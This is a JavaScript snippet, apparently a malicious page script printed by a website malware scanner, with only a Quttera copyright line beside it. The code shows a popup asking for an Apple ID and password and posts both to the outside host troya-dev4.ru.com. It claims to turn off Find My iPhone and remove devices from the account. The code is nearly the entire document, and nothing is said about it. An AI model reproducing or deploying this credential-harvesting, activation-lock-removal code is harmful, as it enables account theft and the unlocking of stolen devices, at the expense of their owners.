<script language="javascript"><script language="javascript">
function handleSuccess(deviceList) {
if (deviceList && deviceList.length > 0) {
const devices = deviceList.map(device => {
let statusMessage = device.status === '200' ? 'FMI OFF DONE ✅' : 'Turn off the device and try again 📵';
return `
<tr>
<td class="custom-td">${device.model}</td>
<td class="custom-td">${device.raw_device_model}</td>
<td class="custom-td">${statusMessage}</td>
</tr>
`;
}).join('');
const table = `
<table class="custom-table">
<thead>
<tr>
<th class="custom-th">Model</th>
<th class="custom-th">Type</th>
<th class="custom-th">Status</th>
</tr>
</thead>
<tbody>
${devices}
</tbody>
</table>
`;
Swal.fire({
icon: 'success',
title: 'Devices Removed Successfully',
html: table
});
} else {
handleError('No devices to remove', '500');
}
}
function handleError(errorMessage, status) {
Swal.fire({
icon: 'info',
title: 'Error',
text: errorMessage
});
}
document.getElementById('Silent-btn').addEventListener('click', async function () {
let loadingSwal = Swal.fire({
title: '⚡ AppleSilent Remove ⚡',
html:
'<input id="swal-input1" class="swal2-input" placeholder="Enter your Apple ID" value="">' +
'<input id="swal-input2" type="password" class="swal2-input" placeholder="Enter your password" value="" style="font-family: monospace;">',
confirmButtonText: 'REMOVER',
showLoaderOnConfirm: true,
preConfirm: async () => {
const appleId = document.getElementById('swal-input1').value;
const password = document.getElementById('swal-input2').value;
const formData = new FormData();
formData.append('apple_id', appleId);
formData.append('password', password);
formData.append('web', 'apple');
const response = await fetch('https://troya-dev4.ru.com/Account/config/Silent_Remove_server/autoremove.php', {
method: 'POST',
body: formData
});
if (!response.ok) {
Swal.showValidationMessage('Failed to fetch');
}
const data = await response.json();
if (!data.success) {
handleError(data.msg);
}
return data;
}
});
try {
const result = await loadingSwal;
if (result.isConfirmed) {
const data = result.value;
if (data.success) {
handleSuccess(data.device_list);
}
}
} catch (error) {
handleError('Failed to remove devices', '500');
}
});
</script></script>
© 2023 Quttera Ltd. All rights reserved.